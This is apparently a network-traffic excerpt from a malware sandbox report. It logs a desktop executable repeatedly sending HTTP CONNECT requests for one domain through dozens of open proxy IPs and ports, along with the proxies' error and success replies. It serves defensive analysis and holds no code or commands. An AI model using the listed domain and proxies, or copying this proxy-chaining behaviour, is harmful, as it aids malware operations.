Mar 11, 2024 15:21:08.591559887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1389	192.168.2.9	54398	103.180.198.130	8181	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.592412949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.403366089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.591309071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.888345003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.403810978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.820689917 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1390	192.168.2.9	54748	202.159.35.145	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.593897104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1391	192.168.2.9	54752	202.159.35.145	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.595276117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1392	192.168.2.9	54589	142.4.123.41	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.597779989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1393	192.168.2.9	54625	104.25.184.189	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.598432064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.752763033 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1394	192.168.2.9	54616	74.48.7.43	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.599565029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1395	192.168.2.9	54630	185.162.230.178	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.600143909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.754710913 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1396	192.168.2.9	54500	72.10.160.170	21709	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.613370895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:01.869792938 CET	19	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1397	192.168.2.9	54373	103.153.154.6	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.616787910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1398	192.168.2.9	54657	172.67.69.9	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.618753910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.772979975 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1399	192.168.2.9	54686	172.67.181.97	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.635543108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.790231943 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1400	192.168.2.9	54656	64.202.186.2	32884	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.636281013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.137991905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.841140032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.942565918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1401	192.168.2.9	54537	192.111.130.5	17002	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.636876106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1402	192.168.2.9	54019	194.182.187.78	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.644481897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.164246082 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1403	192.168.2.9	52652	68.169.60.220	8380	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.651038885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1404	192.168.2.9	53839	185.49.30.5	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.657841921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1405	192.168.2.9	49864	51.161.99.114	29758	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.658124924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.825495958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.825453043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.825547934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:32.825107098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:56.825144053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:44.856261969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1406	192.168.2.9	54490	103.118.44.136	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.660437107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.434776068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1407	192.168.2.9	54565	181.143.61.123	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.660701036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1408	192.168.2.9	54668	37.1.211.58	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.675020933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1409	192.168.2.9	54508	147.75.92.251	10006	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.675043106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.952543020 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1410	192.168.2.9	54652	38.162.7.161	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.679445982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.135736942 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1411	192.168.2.9	54700	104.23.100.73	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.890577078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.045166016 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1412	192.168.2.9	54564	46.17.63.166	4154	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.890578032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.186053038 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset
Mar 11, 2024 15:21:09.830209970 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1413	192.168.2.9	54512	202.131.65.110	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.896409988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.591103077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.591336012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.499018908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.365417004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.168539047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
